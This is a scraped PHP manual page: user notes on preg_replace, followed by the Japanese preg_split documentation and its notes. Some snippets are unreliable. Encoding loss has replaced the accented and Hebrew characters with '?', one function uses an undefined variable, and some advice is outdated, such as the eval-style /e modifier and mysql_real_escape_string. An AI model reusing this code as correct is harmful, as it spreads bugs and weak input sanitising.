nospam at probackup dot nl 19-Jan-2011 05:03
Warning: a common made mistake in trying to remove all characters except numbers and letters from a string, is to use code with a regex similar to preg_replace('[^A-Za-z0-9_]', '', ...). The output goes in an unexpected direction in case your input contains two double quotes.

echo preg_replace('[^A-Za-z0-9_]', '', 'D"usseldorfer H"auptstrasse')

D"usseldorfer H"auptstrasse

It is important to not forget a leading an trailing forward slash in the regex:

echo preg_replace('/[^A-Za-z0-9_]/', '', 'D"usseldorfer H"auptstrasse')

Dusseldorfer Hauptstrasse

PS An alternative is to use preg_replace('/\W/', '', $t) for keeping all alpha numeric characters including underscores.
Terminux (dot) anonymous at gmail 03-Dec-2010 09:58
This function will strip all the HTML-like content in a string.
I know you can find a lot of similar content on the web, but this one is simple, fast and robust. Don't simply use the built-in functions like strip_tags(), they dont work so good.

Careful however, this is not a correct validation of a string ; you should use additional functions like mysql_real_escape_string and filter_var, as well as custom tests before putting a submission into your database.

<?php

$html = <<<END
<div id="function.preg-split" class="refentry"> Bonjour1 \t
<div class="refnamediv"> Bonjour2 \t
<h1 class="refname">Bonjour3 \t</h1>
<h1 class=""">Bonjour4 \t</h1>
<h1 class="*%1">Bonjour5 \t</h1>
<body>Bonjour6 \t<//body>>
</ body>Bonjour7 \t<////        body>>
<
a href="image.php" alt="trans" /        >
some leftover text...
     < DIV class=noCompliant style = "text-align:left;" >
... and some other ...
< dIv > < empty>  </ empty>
  <p> This is yet another text <br  >
     that wasn't <b>compliant</b> too... <br   />
     </p>
 <div class="noClass" > this one is better but we don't care anyway </div ><P>
    <input   type= "text"  name ='my "name' value  = "nothin really." readonly>
end of paragraph </p> </Div>   </div>   some trailing text
END;

// This echoes correctly all the text that is not inside HTML tags
$html_reg = '/<+\s*\/*\s*([A-Z][A-Z0-9]*)\b[^>]*\/*\s*>+/i';
echo htmlentities( preg_replace( $html_reg, '', $html ) );

// This extracts only a small portion of the text
echo htmlentities(strip_tags($html));

?>
hello at weblap dot ro 06-Mar-2010 04:10
Post slug generator, for creating clean urls from titles.
It works with many languages.

<?php
function remove_accent($str)
{
  $a = array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?');
  $b = array('A', 'A', 'A', 'A', 'A', 'A', 'AE', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'ae', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y', 'A', 'a', 'A', 'a', 'A', 'a', 'C', 'c', 'C', 'c', 'C', 'c', 'C', 'c', 'D', 'd', 'D', 'd', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'G', 'g', 'G', 'g', 'G', 'g', 'G', 'g', 'H', 'h', 'H', 'h', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'IJ', 'ij', 'J', 'j', 'K', 'k', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'l', 'l', 'N', 'n', 'N', 'n', 'N', 'n', 'n', 'O', 'o', 'O', 'o', 'O', 'o', 'OE', 'oe', 'R', 'r', 'R', 'r', 'R', 'r', 'S', 's', 'S', 's', 'S', 's', 'S', 's', 'T', 't', 'T', 't', 'T', 't', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'W', 'w', 'Y', 'y', 'Y', 'Z', 'z', 'Z', 'z', 'Z', 'z', 's', 'f', 'O', 'o', 'U', 'u', 'A', 'a', 'I', 'i', 'O', 'o', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'A', 'a', 'AE', 'ae', 'O', 'o');
  return str_replace($a, $b, $str);
}

function post_slug($str)
{
  return strtolower(preg_replace(array('/[^a-zA-Z0-9 -]/', '/[ -]+/', '/^-|-$/'),
  array('', '-', ''), remove_accent($str)));
}
?>

Example: post_slug(' -Lo#&@rem  IPSUM //dolor-/sit - amet-/-consectetur! 12 -- ')
will output: lorem-ipsum-dolor-sit-amet-consectetur-12
arkani at iol dot pt 04-Mar-2009 11:00
Because i search a lot 4 this:

The following should be escaped if you are trying to match that character

\ ^ . $ | ( ) [ ]
* + ? { } ,

Special Character Definitions
\ Quote the next metacharacter
^ Match the beginning of the line
. Match any character (except newline)
$ Match the end of the line (or before newline at the end)
| Alternation
() Grouping
[] Character class
* Match 0 or more times
+ Match 1 or more times
? Match 1 or 0 times
{n} Match exactly n times
{n,} Match at least n times
{n,m} Match at least n but not more than m times
More Special Character Stuff
\t tab (HT, TAB)
\n newline (LF, NL)
\r return (CR)
\f form feed (FF)
\a alarm (bell) (BEL)
\e escape (think troff) (ESC)
\033 octal char (think of a PDP-11)
\x1B hex char
\c[ control char
\l lowercase next char (think vi)
\u uppercase next char (think vi)
\L lowercase till \E (think vi)
\U uppercase till \E (think vi)
\E end case modification (think vi)
\Q quote (disable) pattern metacharacters till \E
Even More Special Characters
\w Match a "word" character (alphanumeric plus "_")
\W Match a non-word character
\s Match a whitespace character
\S Match a non-whitespace character
\d Match a digit character
\D Match a non-digit character
\b Match a word boundary
\B Match a non-(word boundary)
\A Match only at beginning of string
\Z Match only at end of string, or before newline at the end
\z Match only at end of string
\G Match only where previous m//g left off (works only with /g)
mdrisser at gmail dot com 28-Nov-2008 10:13
An alternative to the method suggested by sheri is to remember that the regex modifier '$' only looks at the end of the STRING, the example given is a single string consisting of multiple lines.

Try:
<?php
// Following is 1 string containing 3 lines
$s = "Testing, testing.\r\n"
   . "Another testing line.\r\n"
   . "Testing almost done.";

echo preg_replace('/\.\\r\\n/m', '@\r\n', $s);
?>

This results in the string:
Testing, testing@\r\nAnother testing line@\r\nTesting almost done.
jette at nerdgirl dot dk 19-Nov-2008 04:47
I use this to prevent users from overdoing repeated text. The following function only allows 3 identical characters at a time and also takes care of repetitions with whitespace added.

This means that 'haaaaaaleluuuujaaaaa' becomes 'haaaleluuujaaa' and 'I am c o o o o o o l' becomes 'I am c o o o l'

<?php
//Example of user input
$str = "aaaaaaaaaaabbccccccccaaaaad d d d   d      d d ddde''''''''''''";

function stripRepeat($str) {
  //Do not allow repeated whitespace
  $str = preg_replace("/(\s){2,}/",'$1',$str);
  //Result: aaaaaaaaaaabbccccccccaaaaad d d d d d d ddde''''''''''''

  //Do not allow more than 3 identical characters separated by any whitespace
  $str = preg_replace('{( ?.)\1{4,}}','$1$1$1',$str);
  //Final result: aaabbcccaaad d d ddde'''

  return $str;
}
?>

To prevent any repetitions of characters, you only need this:

<?php
$str = preg_replace('{(.)\1+}','$1',$str);
//Result: abcad d d d d d d de'
?>
7r6ivyeo at mail dot com 17-Nov-2008 09:25
String to filename:

<?php
function string_to_filename($word) {
    $tmp = preg_replace('/^\W+|\W+$/', '', $word); // remove all non-alphanumeric chars at begin & end of string
    $tmp = preg_replace('/\s+/', '_', $tmp); // compress internal whitespace and replace with _
    return strtolower(preg_replace('/\W-/', '', $tmp)); // remove all non-alphanumeric chars except _ and -
}
?>

Returns a usable & readable filename.
dyer85 at gmail dot com 28-Aug-2008 07:41
There seems to be some unexpected behavior when using the /m modifier when the line terminators are win32 or mac format.

If you have a string like below, and try to replace dots, the regex won't replace correctly:

<?php
$s = "Testing, testing.\r\n"
   . "Another testing line.\r\n"
   . "Testing almost done.";

echo preg_replace('/\.$/m', '.@', $s); // only last . replaced
?>

The /m modifier doesn't seem to work properly when CRLFs or CRs are used. Make sure to convert line endings to LFs (*nix format) in your input string.
marcin at pixaltic dot com 25-Jul-2008 03:56
<?php
    //:::replace with anything that you can do with searched string:::
    //Marcin Majchrzak
    //pixaltic.com

    $c = "2 4 8";
    echo ($c); //display:2 4 8

    $cp = "/(\d)\s(\d)\s(\d)/e"; //pattern
    $cr = "'\\3*\\2+\\1='.(('\\3')*('\\2')+('\\1'))"; //replece
    $c = preg_replace($cp, $cr, $c);
    echo ($c); //display:8*4+2=34
?>
David 11-Jul-2008 04:59
Take care when you try to strip whitespaces out of an UTF-8 text. Using something like:

<?php
$text = preg_replace( "{\s+}", ' ', $text );
?>

brokes in my case the letter a which is hex c3a0. But a0 is a whitespace. So use

<?php
$text = preg_replace( "{[ \t]+}", ' ', $text );
?>

to strip all spaces and tabs, or better, use a multibyte function like mb_ereg_replace.
akniep at rayo dot info 07-Jul-2008 03:22
preg_replace (and other preg-functions) return null instead of a string when encountering problems you probably did not think about!
-------------------------

It may not be obvious to everybody that the function returns NULL if an error of any kind occurres. An error I happen to stumple about quite often was the back-tracking-limit:
http://de.php.net/manual/de/pcre.configuration.php
#ini.pcre.backtrack-limit

When working with HTML-documents and their parsing it happens that you encounter documents that have a length of over 100.000 characters and that may lead to certain regular-expressions to fail due the back-tracking-limit of above.

A regular-expression that is ungreedy ("U", http://de.php.net/manual/de/reference.pcre.pattern.modifiers.php) often does the job, but still: sometimes you just need a greedy regular expression working on long strings ...

Since, an unhandled return-value of NULL usually creates a consecutive error in the application with unwanted and unforeseen consequences, I found the following solution to be quite helpful and at least save the application from crashing:

<?php

$string_after = preg_replace( '/some_regexp/', "replacement", $string_before );

// if some error occurred we go on working with the unchanged original string
if (PREG_NO_ERROR !== preg_last_error())
{
    $string_after = $string_before;

    // put email-sending or a log-message here
} //if

// free memory
unset( $string_before );

?>

You may or should also put a log-message or the sending of an email into the if-condition in order to get informed, once, one of your regular-expressions does not have the effect you desired it to have.
da_pimp2004_966 at hotmail dot com 20-Jun-2008 11:09
A simple BB like thing..

<?php
function AddBB($var) {
        $search = array(
                '/\[b\](.*?)\[\/b\]/is',
                '/\[i\](.*?)\[\/i\]/is',
                '/\[u\](.*?)\[\/u\]/is',
                '/\[img\](.*?)\[\/img\]/is',
                '/\[url\](.*?)\[\/url\]/is',
                '/\[url\=(.*?)\](.*?)\[\/url\]/is'
                );

        $replace = array(
                '<strong>$1</strong>',
                '<em>$1</em>',
                '<u>$1</u>',
                '<img src="$1" />',
                '<a href="$1">$1</a>',
                '<a href="$1">$2</a>'
                );

        $var = preg_replace ($search, $replace, $var);
        return $var;
}
?>
Michael W 16-Apr-2008 03:35
For filename tidying I prefer to only ALLOW certain characters rather than converting particular ones that we want to exclude. To this end I use ...

<?php
  $allowed = "/[^a-z0-9\\040\\.\\-\\_\\\\]/i";
  preg_replace($allowed,"",$str));
?>

Allows letters a-z, digits, space (\\040), hyphen (\\-), underscore (\\_) and backslash (\\\\), everything else is removed from the string.
php-comments-REMOVE dot ME at dotancohen dot com 29-Feb-2008 12:02
Below is a function for converting Hebrew final characters to their
normal equivelants should they appear in the middle of a word.
The /b argument does not treat Hebrew letters as part of a word,
so I had to work around that limitation.

<?php

$text="????? ???????";

function hebrewNotWordEndSwitch ($from, $to, $text) {
   $text=
    preg_replace('/'.$from.'([?-?])/u','$2'.$to.'$1',$text);
   return $text;
}

do {
   $text_before=$text;
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
}   while ( $text_before!=$text );

print $text; // ????? ??????!

?>

The do-while is necessary for multiple instances of letters, such
as "????" which would start off as "????". Note that there's still the
problem of acronyms with gershiim but that's not a difficult one
to solve. The code is in use at http://gibberish.co.il which you can
use to translate wrongly-encoded Hebrew, transliterize, and some
other Hebrew-related functions.

To ensure that there will be no regular characters at the end of a
word, just convert all regular characters to their final forms, then
run this function. Enjoy!
ulf dot reimers at tesa dot com 07-Dec-2007 10:28
Hi,

as I wasn't able to find another way to do this, I wrote a function converting any UTF-8 string into a correct NTFS filename (see http://en.wikipedia.org/wiki/Filename).

<?php
function strToNTFSFilename($string)
{
  $reserved = preg_quote('\/:*?"<>', '/');
  return preg_replace("/([\\x00-\\x1f{$forbidden}])/e", "_", $string);
}
?>

It converts all control characters and filename characters which are reserved by Windows ('\/:*?"<>') into an underscore.
This way you can safely create an NTFS filename out of any UTF-8 string.
mike dot hayward at mikeyskona dot co dot uk 18-Oct-2007 08:49
Hi.
Not sure if this will be a great help to anyone out there, but thought i'd post just in case.
I was having an Issue with a project that relied on $_SERVER['REQUEST_URI']. Obviously this wasn't working on IIS.
(i am using mod_rewrite in apache to call up pages from a database and IIS doesn't set REQUEST_URI). So i knocked up this simple little preg_replace to use the query string set by IIS when redirecting to a PHP error page.

<?php
//My little IIS hack :)
if(!isset($_SERVER['REQUEST_URI'])){
  $_SERVER['REQUEST_URI'] = preg_replace( '/404;([a-zA-Z]+:\/\/)(.*?)\//i', "/" , $_SERVER['QUERY_STRING'] );
}
?>

Hope this helps someone else out there trying to do the same thing :)
sternkinder at gmail dot com 24-Aug-2007 03:10
From what I can see, the problem is, that if you go straight and substitute all 'A's wit 'T's you can't tell for sure which 'T's to substitute with 'A's afterwards. This can be for instance solved by simply replacing all 'A's by another character (for instance '_' or whatever you like), then replacing all 'T's by 'A's, and then replacing all '_'s (or whatever character you chose) by 'A's:

<?php
$dna = "AGTCTGCCCTAG";
echo str_replace(array("A","G","C","T","_","-"), array("_","-","G","A","T","C"), $dna); //output will be TCAGACGGGATC
?>

Although I don't know how transliteration in perl works (though I remember that is kind of similar to the UNIX command "tr") I would suggest following function for "switching" single chars:

<?php
function switch_chars($subject,$switch_table,$unused_char="_") {
    foreach ( $switch_table as $_1 => $_2 ) {
        $subject = str_replace($_1,$unused_char,$subject);
        $subject = str_replace($_2,$_1,$subject);
        $subject = str_replace($unused_char,$_2,$subject);
    }
    return $subject;
}

echo switch_chars("AGTCTGCCCTAG", array("A"=>"T","G"=>"C")); //output will be TCAGACGGGATC
?>
rob at ubrio dot us 21-Aug-2007 01:48
Also worth noting is that you can use array_keys()/array_values() with preg_replace like:

<?php
$subs = array(
  '/\[b\](.+)\[\/b\]/Ui' => '<strong>$1</strong>',
  '/_(.+)_/Ui' => '<em>$1</em>'
  ...
  ...
);

$raw_text = '[b]this is bold[/b] and this is _italic!_';

$bb_text = preg_replace(array_keys($subs), array_values($subs), $raw_text);
?>
ismith at nojunk dot motorola dot com 21-Mar-2007 09:47
Be aware that when using the "/u" modifier, if your input text contains any bad UTF-8 code sequences, then preg_replace will return an empty string, regardless of whether there were any matches.

This is due to the PCRE library returning an error code if the string contains bad UTF-8.
dani dot church at gmail dot youshouldknowthisone 07-Feb-2007 11:09
Note that it is in most cases much more efficient to use preg_replace_callback(), with a named function or an anonymous function created with create_function(), instead of the /e modifier.  When preg_replace() is called with the /e modifier, the interpreter must parse the replacement string into PHP code once for every replacement made, while preg_replace_callback() uses a function that only needs to be parsed once.
Alexey Lebedev 07-Sep-2006 02:21
Wasted several hours because of this:

<?php
$str='It&#039;s a string with HTML entities';
preg_replace('~&#(\d+);~e', 'code2utf($1)', $str);
?>

This code must convert numeric html entities to utf8. And it does with a little exception. It treats wrong codes starting with &#0

The reason is that code2utf will be called with leading zero, exactly what the pattern matches - code2utf(039).
And it does matter! PHP treats 039 as octal number.
Try <?php print(011); ?>

Solution:
<?php preg_replace('~&#0*(\d+);~e', 'code2utf($1)', $str); ?>
steven -a-t- acko dot net 08-Feb-2004 09:45
People using the /e modifier with preg_replace should be aware of the following weird behaviour. It is not a bug per se, but can cause bugs if you don't know it's there.

The example in the docs for /e suffers from this mistake in fact.

With /e, the replacement string is a PHP expression. So when you use a backreference in the replacement expression, you need to put the backreference inside quotes, or otherwise it would be interpreted as PHP code. Like the example from the manual for preg_replace:

preg_replace("/(<\/?)(\w+)([^>]*>)/e",
             "'\\1'.strtoupper('\\2').'\\3'",
             $html_body);

To make this easier, the data in a backreference with /e is run through addslashes() before being inserted in your replacement expression. So if you have the string

 He said: "You're here"

It would become:

 He said: \"You\'re here\"

...and be inserted into the expression.
However, if you put this inside a set of single quotes, PHP will not strip away all the slashes correctly! Try this:

 print ' He said: \"You\'re here\" ';
 Output: He said: \"You're here\"

This is because the sequence \" inside single quotes is not recognized as anything special, and it is output literally.

Using double-quotes to surround the string/backreference will not help either, because inside double-quotes, the sequence \' is not recognized and also output literally. And in fact, if you have any dollar signs in your data, they would be interpreted as PHP variables. So double-quotes are not an option.

The 'solution' is to manually fix it in your expression. It is easiest to use a separate processing function, and do the replacing there (i.e. use "my_processing_function('\\1')" or something similar as replacement expression, and do the fixing in that function).

If you surrounded your backreference by single-quotes, the double-quotes are corrupt:
$text = str_replace('\"', '"', $text);

People using preg_replace with /e should at least be aware of this.

I'm not sure how it would be best fixed in preg_replace. Because double-quotes are a really bad idea anyway (due to the variable expansion), I would suggest that preg_replace's auto-escaping is modified to suit the placement of backreferences inside single-quotes (which seemed to be the intention from the start, but was incorrectly applied).


正規表現で文字列を分割する

  • ≪ preg_replace
  • POSIX Regex ≫
  • PHP Manual
  • PCRE 関数
  • 正規表現で文字列を分割する

preg_split

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_split — 正規表現で文字列を分割する

説明

preg_split ( string $pattern , string $subject , int $limit = -1 , int $flags = 0 ) : array|false

指定した文字列を、正規表現で分割します。

パラメータ

pattern

検索するパターンを表す文字列。

subject

入力文字列。

limit

これを指定した場合、最大 limit 個の部分文字列を返します。 残りの文字列は、最後の部分文字列に含めて返されます。 limit が -1 あるいは 0 の場合は「制限が無い」ことを意味します。

flags

flags は、次のフラグを組み合わせたものとする （ビット和演算子 | で組み合わせる）ことが可能です。

PREG_SPLIT_NO_EMPTY
このフラグを設定すると、空文字列でないものだけが preg_split() により返されます。
PREG_SPLIT_DELIM_CAPTURE
このフラグを設定すると、文字列分割用のパターン中の カッコによるサブパターンでキャプチャされた値も同時に返されます。
PREG_SPLIT_OFFSET_CAPTURE

このフラグを設定した場合、各マッチに対応する文字列のオフセットも返されます。 これにより、返り値は配列となり、配列の要素 0 はマッチした文字列、 要素 1 は subject におけるマッチした文字列のオフセット値となることに 注意してください。

返り値

pattern にマッチした境界で分割した subject の部分文字列の配列を返します。失敗した場合に false を返します。

例

例1 preg_split() の例 : 検索文字列のある部分を取得

<?php
// カンマまたは " ", \r, \t, \n , \f などの空白文字で句を分割する。
$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
print_r($keywords);
?>

上の例の出力は以下となります。

Array
(
    [0] => hypertext
    [1] => language
    [2] => programming
)

例2 文字列を文字要素に分割

<?php
$str = 'string';
$chars = preg_split('//', $str, -1, PREG_SPLIT_NO_EMPTY);
print_r($chars);
?>

上の例の出力は以下となります。

Array
(
    [0] => s
    [1] => t
    [2] => r
    [3] => i
    [4] => n
    [5] => g
)

例3 文字列をマッチするものとそのオフセットに分割

<?php
$str = 'hypertext language programming';
$chars = preg_split('/ /', $str, -1, PREG_SPLIT_OFFSET_CAPTURE);
print_r($chars);
?>

上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [0] => hypertext
            [1] => 0
        )

    [1] => Array
        (
            [0] => language
            [1] => 10
        )

    [2] => Array
        (
            [0] => programming
            [1] => 19
        )

)

注意

ヒント

正規表現の威力を必要としないのなら、より高速な (機能はシンプルですが) 代替関数として explode() あるいは str_split() のような選択肢があります。

ヒント

マッチングに失敗した場合は、要素が一つだけの配列を返します。その要素の内容は、入力文字列そのままになります。

参考

  • PCRE のパターン
  • preg_quote() - 正規表現文字をクオートする
  • implode() - 配列要素を文字列により連結する
  • preg_match() - 正規表現によるマッチングを行う
  • preg_match_all() - 繰り返し正規表現検索を行う
  • preg_replace() - 正規表現検索および置換を行う
  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す

User Contributed Notes

Hayley Watson 01-Sep-2019 03:02
Assuming you're using UTF-8, this function can be used to separate Unicode text into individual codepoints without the need for the multibyte extension.

<?php

preg_split('//u', $text, -1, PREG_SPLIT_NO_EMPTY);

?>

The words "English", "Espanol", and "Русский" are all seven letters long. But strlen would report string lengths 7, 8 and 14, respectively. The preg_split above would return a seven-element array in all three cases.

It splits '???' into the array ['?', '?', '?'] instead of the 9-character array that str_split($text) would produce.
php at haravikk dot me 11-Nov-2016 03:24
When using the PREG_SPLIT_OFFSET_CAPTURE option you will end up with all results in a single array, which is often undesirable as it means you then have to filter out any delimiters you wanted to check for but not keep.

To get around this you can instead use preg_match_all() to perform the split. For comparison, here are two examples, both splitting around colon and semi-colon characters:

<?php $pieces_with_delimiters = preg_split('/[;:]/', $input, -1, PREG_SPLIT_OFFSET_CAPTURE); ?>

<?php preg_match_all('/([^;:]*)([;:]|$)/', $input, $matches);
list(, $pieces, $delimiters) = $matches ?>

The latter requires a more complex pattern, but produces a much more convenient set of results to work with, depending upon what you want to do with them.
canadian dot in dot exile at gmail dot com 18-Nov-2015 12:27
This regular expression will split a long string of words into an array of sub-strings, of some maximum length, but only on word-boundries.

I use the reg-ex with preg_match_all(); but, I'm posting this example here (on the page for preg_split()) because that's where I looked when I wanted to find a way to do this.

Hope it saves someone some time.

<?php
// example of a long string of words
$long_string = 'Your IP Address will be logged with the submitted note and made public on the PHP manual user notes mailing list. The IP address is logged as part of the notes moderation process, and won\'t be shown within the PHP manual itself.';

// "word-wrap" at, for example, 60 characters or less
$max_len = 60;

// this regular expression will split $long_string on any sub-string of
// 1-or-more non-word characters (spaces or punctuation)
if(preg_match_all("/.{1,{$max_len}}(?=\W+)/", $long_string, $lines) !== False) {

    // $lines now contains an array of sub-strings, each will be approx.
    // $max_len characters - depending on where the last word ended and
    // the number of 'non-word' characters found after the last word
    for ($i=0; $i < count($lines[0]); $i++) {
        echo "[$i] {$lines[0][$i]}\n";
    }
}
?>
markac 11-Jan-2015 04:08
Split string into words.

<?php
$string = 'This - is a, very dirty "string" :-)';

// split into words
$wordlist = preg_split('/\W/', $string, 0, PREG_SPLIT_NO_EMPTY);

// returns only words that have minimum 2 chars
$wordlist = array_filter($wordlist, function($val) {
  return strlen($val) >= 2;
});

// print
var_dump($wordlist);
?>

Result:

array (size=5)
  0 => string 'This' (length=4)
  1 => string 'is' (length=2)
  3 => string 'very' (length=4)
  4 => string 'dirty' (length=5)
  5 => string 'string' (length=6)
Miller 24-Feb-2014 05:25
This is a function to truncate a string of text while preserving the whitespace (for instance, getting an excerpt from an article while maintaining newlines). It will not jive well with HTML, of course.

<?php
/**
 * Truncates a string of text by word count
 * @param string $text The text to truncate
 * @param int $max_words The maximum number of words
 * @return string The truncated text
 */
function limit_words ($text, $max_words) {
    $split = preg_split('/(\s+)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
    $truncated = '';
    for ($i = 0; $i < min(count($split), $max_words*2); $i += 2) {
        $truncated .= $split[$i].$split[$i+1];
    }
    return trim($truncated);
}
?>
david dot binovec at gmail dot com 26-Jun-2011 06:38
Limit = 1 may be confusing. The important thing is that in case of limit equals to 1 will produce only ONE substring. Ergo the only one substring will be the first one as well as the last one. Tnat the rest of the string (after the first delimiter) will be placed to the last substring. But last is the first and only one.

<?php

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 1);

echo $output[0] //will return whole string!;

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 2);

echo $output[0] //will return 1;
echo $output[1] //will return '2 3 4 5 6 7 8';

?>
eric at clarinova dot com 24-Jun-2011 03:04
Here is another way to split a CamelCase string, which is a simpler expression than the one using lookaheads and lookbehinds:

preg_split('/([[:upper:]][[:lower:]]+)/', $last, null, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY)

It makes the entire CamelCased word the delimiter, then returns the delimiters (PREG_SPLIT_DELIM_CAPTURE) and omits the empty values between the delimiters (PREG_SPLIT_NO_EMPTY)
PhoneixSegovia at gmail dot com 26-Nov-2010 04:38
You must be caution when using lookbehind to a variable match.
For example:
'/(?<!\\\)\r?\n)/'
 to match a new line when not \ is before it don't go as spected as it match \r as the lookbehind (becouse isn't a \) and is optional before \n.

You must use this for example:
'/((?<!\\\|\r)\n)|((?<!\\\)\r\n)/'
That match a alone \n (not preceded by \r or \) or a \r\n not preceded by a \.
Daniel Schroeder 03-Nov-2010 03:46
If you want to split by a char, but want to ignore that char in case it is escaped, use a lookbehind assertion.

In this example a string will be split by ":" but "\:" will be ignored:

<?php
$string='a:b:c\:d';
$array=preg_split('#(?<!\\\)\:#',$string);
print_r($array);
?>

Results into:

Array
(
    [0] => a
    [1] => b
    [2] => c\:d
)
jan dot sochor at icebolt dot info 24-Oct-2009 03:26
Sometimes PREG_SPLIT_DELIM_CAPTURE does strange results.

<?php
$content = '<strong>Lorem ipsum dolor</strong> sit <img src="test.png" />amet <span class="test" style="color:red">consec<i>tet</i>uer</span>.';
$chars = preg_split('/<[^>]*[^\/]>/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars);
?>
Produces:
Array
(
    [0] => Lorem ipsum dolor
    [1] =>  sit <img src="test.png" />amet
    [2] => consec
    [3] => tet
    [4] => uer
)

So that the delimiter patterns are missing. If you wanna get these patters remember to use parentheses.

<?php
$chars = preg_split('/(<[^>]*[^\/]>)/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars); //parentheses added
?>
Produces:
Array
(
    [0] => <strong>
    [1] => Lorem ipsum dolor
    [2] => </strong>
    [3] =>  sit <img src="test.png" />amet
    [4] => <span class="test" style="color:red">
    [5] => consec
    [6] => <i>
    [7] => tet
    [8] => </i>
    [9] => uer
    [10] => </span>
    [11] => .
)
php at dmi dot me dot uk 06-Oct-2009 01:23
To split a camel-cased string using preg_split() with lookaheads and lookbehinds:

<?php
function splitCamelCase($str) {
  return preg_split('/(?<=\\w)(?=[A-Z])/', $str);
}
?>
buzoganylaszlo at yahoo dot com 01-Aug-2009 12:57
Extending m.timmermans's solution, you can use the following code as a search expression parser:

<?php
$search_expression = "apple bear \"Tom Cruise\" or 'Mickey Mouse' another word";
$words = preg_split("/[\s,]*\\\"([^\\\"]+)\\\"[\s,]*|" . "[\s,]*'([^']+)'[\s,]*|" . "[\s,]+/", $search_expression, 0, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($words);
?>

The result will be:
Array
(
    [0] => apple
    [1] => bear
    [2] => Tom Cruise
    [3] => or
    [4] => Mickey Mouse
    [5] => another
    [6] => word
)

1. Accepted delimiters: white spaces (space, tab, new line etc.) and commas.

2. You can use either simple (') or double (") quotes for expressions which contains more than one word.
kenorb at gmail dot com 23-May-2009 07:56
If you need convert function arguments without default default values and references, you can try this code:

<?php
    $func_args = '$node, $op, $a3 = NULL, $form = array(), $a4 = NULL'
    $call_arg = preg_match_all('@(?<func_arg>\$[^,= ]+)@i', $func_args, $matches);
    $call_arg = implode(',', $matches['func_arg']);
?>
Result: string = "$node,$op,$a3,$form,$a4"
csaba at alum dot mit dot edu 17-Mar-2009 01:06
If the task is too complicated for preg_split, preg_match_all might come in handy, since preg_split is essentially a special case.

I wanted to split a string on a certain character (asterisk), but only if it wasn't escaped (by a preceding backslash).  Thus, I should ensure an even number of backslashes before any asterisk meant as a splitter.  Look-behind in a regular expression wouldn't work since the length of the preceding backslash sequence can't be fixed.  So I turned to preg_match_all:

<?php
// split a string at unescaped asterisks
// where backslash is the escape character
$splitter = "/\\*((?:[^\\\\*]|\\\\.)*)/";
preg_match_all($splitter, "*$string", $aPieces, PREG_PATTERN_ORDER);
$aPieces = $aPieces[1];

// $aPieces now contains the exploded string
// and unescaping can be safely done on each piece
foreach ($aPieces as $idx=>$piece)
  $aPieces[$idx] = preg_replace("/\\\\(.)/s", "$1", $piece);
?>
Steve 23-Mar-2005 08:41
preg_split() behaves differently from perl's split() if the string ends with a delimiter. This perl snippet will print 5:

my @a = split(/ /, "a b c d e ");
print scalar @a;

The corresponding php code prints 6:

<?php print count(preg_split("/ /", "a b c d e ")); ?>

This is not necessarily a bug (nowhere does the documentation say that preg_split() behaves the same as perl's split()) but it might surprise perl programmers.
jetsoft at iinet.net.au 25-Sep-2004 08:01
To clarify the "limit" parameter and the PREG_SPLIT_DELIM_CAPTURE option,

<?php
$preg_split('(/ /)', '1 2 3 4 5 6 7 8', 4 ,PREG_SPLIT_DELIM_CAPTURE );
?>

returns:

('1', ' ', '2', ' ' , '3', ' ', '4 5 6 7 8')

So you actually get 7 array items not 4


正規表現 (POSIX 拡張)

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
